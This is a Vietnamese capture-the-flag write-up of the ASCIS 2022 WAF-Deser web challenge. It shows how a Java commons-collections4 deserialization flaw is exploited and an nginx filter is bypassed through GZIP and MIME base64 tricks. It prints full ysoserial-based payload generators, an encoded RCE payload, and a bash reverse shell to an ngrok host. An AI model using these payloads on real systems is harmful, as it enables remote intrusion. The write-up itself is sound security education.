Writeup WAF-Deser sơ khảo ASCIS 2022 by dnm-MSEC_ADC

1. Introduction Description: đây là một bài thi trong mảng WEB của vòng sơ khảo SVATTT 2022, một trong những challenge khá khó của cuộc thi, và chỉ có 7 đội giải được 😵‍💫 Source code: https://drive.google.com/file/d/1GNwQzvSSLIYJleHQlFV7BIDN38EFymPQ/view?usp=sharing Blog clb MSEC: https://vnmsec.blogspot.com/ 2. Reconnaissance Review application Truy cập vào thì tôi được giao diện như sau

1. Introduction

2. Reconnaissance

Review application

  • Truy cập vào thì tôi được giao diện như sau

    image.png

    image.png

⇒ Nothing

Review source code

  • Source code chỉ gồm 6 file như sau:

    image.png

Config

  • Dockerfile

    image.png

    → Chú ý FROM openjdk:11-slim

  • docker-compose.yml

    image.png

  • nginx.conf

    image.png

    → Chỉ chấp nhận URI nhỏ hơn 3000 byte và URI không được có chuỗi H4sI

App

  • Sử dụng jd-gui để đọc file waf-deser-0.0.1-SNAPSHOT.jar

    image.png

  • Bắt đầu xem từ pom.xml, điểm đáng chú ý ở đây là commons-collections4, với tiêu đề challenge là WAF-DESER nên đây rất có thể bài này sẽ khai thác lỗ hổng Deserialization trên commons-collections4. Các bạn có thể thao khảo lỗ hổng Deserialization tại The Art of Deserialization Gadget Hunting – VNPT Cyber Immunity.

    image.png

  • Tiếp theo đến UserController.class

    image.png

  • Đầu tiên sẽ unEndoe() URI {info} và decode base64 lưu vào biến data. Hàm unEndoe() sẽ chỉ dùng để replace các ký tự đặc biệt

  • Nếu compress=true thì thực hiện các hàm trong if() về cơ bản thì sẽ là:

    • chuyển biến data thành InputStream
    • giải nén bằng GZIPInputStream
    • sau đó chuyển dữ liệu đã giải nén thành ObjectInputStream gọi hàm readObject() để Deser thành Object và ép kiểu thành User
  • Điểm mấu chốt của bài toán này là ở Base64.getMimeDecoder().decode(unencodedData)new GZIPInputStream(is)

3. Exploit

  • Idea của tôi là:
  • Tạo payload khai thác Deserialization cho commons-collections4
    • Sử dụng với công cụ ysoserial (trong bài biết này tôi sử dụng ysoserial-modified, về điểm cải tiến của ysoserial-modified các bạn có thể đọc thêm, ysoserial-modified là công cụ tôi biết được từ ippsec trong quá trình theo dõi anh ấy làm box UHC – LogForge – YouTube)
  • Tiếp đó đưa nó về kiểu GZIPOutputStream để bypass qua giới hạn 3000 byte của URI
  • Sử dụng %0D%0A để bypass H4sI, vì URI đến sẽ được decode base64, và base64 sẽ tự động remove %0D%0A khi decode
  • Và cần phải chú ý đến đoạn s.replaceAll("-", "\r\n") trong hàm unEncode()

4. Payload

Gen data GZIPOutputStream and Bypass WAF

  • Payload tôi đưa ra là:

    packagemain;importjava.io.*;importjava.util.Base64;importjava.util.zip.GZIPOutputStream;publicclass exp {publicstaticvoidmain(String args[])throwsException{Object pl =newString("MSEC_ADC");ByteArrayOutputStream baos =newByteArrayOutputStream();GZIPOutputStream gzipOut =newGZIPOutputStream(baos);ObjectOutputStream objectOut =newObjectOutputStream(gzipOut);
            objectOut.writeObject(pl);
            objectOut.close();byte[] dat = baos.toByteArray();//Files.readAllBytes(f.toPath());String x =Base64.getMimeEncoder().encodeToString(dat);System.out.println(x);System.out.println("n");
    
            x = x.replaceAll("\r\n","");
            x = x.replaceAll("=","%3D");
            x = x.replaceAll("\+","%2B");
            x = x.replaceAll("/","_");System.out.println(x);System.out.println("n");System.out.println(x.length());}}
  • Chạy file trên tôi đươc payload là: H4sIAAAAAAAAAFvzloG1hIHDN9jVOd7RxRkAt38l%2BA8AAAA%3D

    image.png

  • http://34.143.130.87:4999/info/H4
    sIAAAAAAAAAFvzloG1hIHDN9jVOd7RxRkAt38l%2BA8AAAA%3D?compress=true

    image.png

    → Xem lại trong source thì là payload đã pass qua WAF và vào trong lệnh if() của source code vì ép kiểu sang User sai nên sẽ đi vào Exception và return ra ?????

Sử dụng ysoserial và kiểm tra RCE trên local

💡 Chú ý sẽ phải sử dụng jdk11 để gen payload

  • Khi chạy file docker-compose tôi kiểm tra server không có các lệnh như: curl, wget, ping, touch,… vì vậy tôi phải dùng echo để kiểm tra RCE trên local sau đó sẽ dùng bash dể reverse shell từ server

    packagemain;importysoserial.payloads.*;importysoserial.payloads.util.CmdExecuteHelper;importjava.io.*;importjava.util.Base64;importjava.util.zip.GZIPOutputStream;publicclass exp {publicstaticvoidmain(String args[])throwsException{//        Object pl = new String("MSEC_ADC");CmdExecuteHelper cmd =newCmdExecuteHelper("bash","echo 123 > /tmp/MSEC_ADC.txt");Object pl =newCommonsCollections4().getObject(cmd);ByteArrayOutputStream baos =newByteArrayOutputStream();GZIPOutputStream gzipOut =newGZIPOutputStream(baos);ObjectOutputStream objectOut =newObjectOutputStream(gzipOut);
            objectOut.writeObject(pl);
            objectOut.close();byte[] dat = baos.toByteArray();//Files.readAllBytes(f.toPath());String x =Base64.getMimeEncoder().encodeToString(dat);System.out.println(x);System.out.println("n");
    
            x = x.replaceAll("\r\n","");
            x = x.replaceAll("=","%3D");
            x = x.replaceAll("\+","%2B");
            x = x.replaceAll("/","_");System.out.println(x);System.out.println("n");System.out.println(x.length());}}
  • Payload sẽ là:

    image.png

    H4%0d%0asIAAAAAAAAAK1WW2wUVRj%2Bz2730m0LdHvjVltEtAWZ2dKWtmyhbFvA1a1Ut3JxHzazs4ft4OzMMnOmbHnQYAw%2B8AIRQ3jSB9QHqkkTo8REE59MvMUHExOMCfHBJxUTSNQQL_%2BZme4utNItssnOmfnP_3_nO__tnLlfwGca0HZcmpEEiymqMGkouqGw2WcsatEL1yLv3x55ed4LnjjUmMopmoCQrOcLkiEx3WDQmuCWIrcUx0ryaLEAAB4EHtWNnCAVJHmaCmiX1zUTR1WlMlPwvU8og5nClCFp5jHdyCtargwm_vnKb9vmg196wJOA2iyVdRTT7Al4EUgC6tiCEUU62xO4nuisJ7rriZXriVNldWSJDPeuhKHLKqPSMr_bty5tuarND3gAbMDocoDHLE120KYlRaPZCkqRzy7%2B3HXqYo0HSAoalIoZk4GQWuHuLMO1uSedSpuh07tuB6%2BNvGXvxQ3hcPX7wU8maawC8cjMucaYZ_6Ch8eqVlnQYBB2EkeVtJx4MHMcwZDwjAEDuIRgWppQsWpRQjVB0Rg1NEkViqbKZAHjXkTusSP7FRUnoPyzozBSNeu4Q0nBpKog3nf21kuXz3wTxaxLgU%2BJGTmMQFNqMesU1CmTmAn5qdkCRZ1wpc6YKpmmEwnXVuBywbU99_WRN9aY3eqCuwkS37UyB9B8QUXmZhzH2sMHP9XmrvR6wR%2BHhrSiZanGnrbyGWrEYVXarhSVsjjKiykIpTOzDKspy1l7U6nRFPjTMifMS6s5Ab60JuXpnaFKMgOLM5qAxrRusYLFJg29gJWncJDKZlCWO80A_sEfuoEv9NRf61pyue8HSlmGck9qdO5m2x_%2B4NR1V%2By_8fnfH32C070wEgIvPByA3QHYEoBHCawxqaFI6iGsC4zmc_FxAuRJAg0L%2BXVIUi3qe7fztZvnf7ixh4B_WNEUhi_eru5DBGrGcNcEView_Bz_TPGaJrhVXUZYCcHx2xXWsGnFJNCUZFZmyvXhpDSr6lKWQH1c06hhx5miUn9i1tQdcmLB0TEdhxyQsjnKzEeWQIkSqC21MQJGVwJzQMQcECvq3c4BcSEHRDsHxPGDE9HUktp5tazr8MHmbYhJ91XiVfCEpGVVrHrukmBWl6085gvBJrqS5dF02sHB7Y_%2BfzIEQvuKMi3YZRqAxwi8vTJ_LMsgy_Li%2BNRErKiYcRTZB9aD8aHiwvE8uB8WBAKuLwnEHoQnk7plyBQ7JKZxvZuBAi_SeghBXQC6CPTeR8IS2FttRAwLW2ueirGMiSkuswUkAs12s1D0Mnm72oaqRV5AKmULgY5l9oIhGpZVtxU0lrvasw7JAGxFn6Gi%2B02gpas7sUgtWg%2BPw_YQbAMBO9HdvTEAESxnMaNoYkYyp4Owg4BnuxyEPgIbqTytd_bs6O3c0ymyfEGcSO4bS8fGxwRWZEHYib2GFqlMoKsrtbjpVlLB9ipTPFrqYRCGOJVd2P2STJJfmJAKbt9qL3tj8iQ2qb7I4M7%2ByECkZ7BnIIIkOxL3VIjCJvBg30VS%2BF8PPvDjGOD9GoK2DFMIn_UoEXEkOPq2fghk3lZpwKffFkZgFT7rHQVYDXv4SQdN0Ixa3HgE_14uu9uw3zbsdCZdQ_7WAq32PIE2WIsW6_Dd4chhN7iwcVu6BOyQDbvVmVwSdiO0owV_ewg6cPnyAkHoLm26H_G4Vuc74CWJqyD6P4aeo95wb_JoTbg_edQXHkh%2BANHD8zbSsL1Lgjdp3BEntAkacQzhlAc2wxqotfi524G635YOvg384GsJQFsA1gZgXbUH34mflF%2BH8wfWPpiDz7tf1xcddFuWPejQqpoWtJ7A5iqg7qg05_r0ny1kuTZwz8Qm1Sf27rsSO2zPN9nP5orotvLoFhjUYJUZhZMEinjhCVfeB5174pXW79774qvnL5Wug3gfbudKRQEbv1C6IpRvfXfcek_yhPbiFbKxDBzHnpmjRvjHNy__fvrVQbyGx8E3w5OkaDgedfScZDgz93p73YXrZ0sEeEZ2F_8FEGCygCUOAAA%3D
    
  • Kết quả:

    image.png

    image.png

    image.png

⇒ Như vậy tôi đã RCE thành công. Ở đây mặc dù return ????? nhưng vẫn RCE được là do hàm readObject() sẽ được thực thi xong thì mới tiến hành ép kiểu sang User mà do đó tôi sẽ RCE được trước khi bị Exception nên response luôn là Hello ?????

5. Get Flag

  • Setup:

    image.png

    image.png

  • Payload revershell:

    packagemain;importysoserial.payloads.*;importysoserial.payloads.util.CmdExecuteHelper;importjava.io.*;importjava.util.Base64;importjava.util.zip.GZIPOutputStream;publicclass exp {publicstaticvoidmain(String args[])throwsException{//        Object pl = new String("MSEC_ADC");CmdExecuteHelper cmd =newCmdExecuteHelper("bash","bash -c 'bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/17129 0>&1'");Object pl =newCommonsCollections4().getObject(cmd);ByteArrayOutputStream baos =newByteArrayOutputStream();GZIPOutputStream gzipOut =newGZIPOutputStream(baos);ObjectOutputStream objectOut =newObjectOutputStream(gzipOut);
            objectOut.writeObject(pl);
            objectOut.close();byte[] dat = baos.toByteArray();//Files.readAllBytes(f.Và 

    image.png

  • Flaggggggggggggggggggg

    image.png

    image.png

⇒ Flag là: ASCIS{0H_Mime_B@s364!T1me_2_le4rN_Seri0U5ly!!!!}

6. Conclusion

  • Đây là một challenge Deserialization Java khá hay ho, rất tiếc là tôi đã không thể hoàn thành nó trong thời gian cuộc thi do không đủ thời gian. Vì quá bấn loạn ở challenge thứ nhất (bài về SQL Injection), tôi đã mất cả buổi sáng cho nó rồi đến trưa nhận ra là mình quét nhầm METHOD 🤒
  • Và cũng là những lần rất ít tôi đi code Java, việc quản lý các Input/OutputStream ban đầu với tôi là rất khó khăn 🥸

Nguồn: viblo.asia

Bài viết liên quan

WebP là gì? Hướng dẫn cách để chuyển hình ảnh jpg, png qua webp

WebP là gì? WebP là một định dạng ảnh hiện đại, được phát triển bởi Google

Điểm khác biệt giữa IPv4 và IPv6 là gì?

IPv4 và IPv6 là hai phiên bản của hệ thống địa chỉ Giao thức Internet (IP). IP l

Check nameservers của tên miền xem website trỏ đúng chưa

Tìm hiểu cách check nameservers của tên miền để xác định tên miền đó đang dùn

Mình đang dùng Google Domains để check tên miền hàng ngày

Từ khi thông báo dịch vụ Google Domains bỏ mác Beta, mình mới để ý và bắt đầ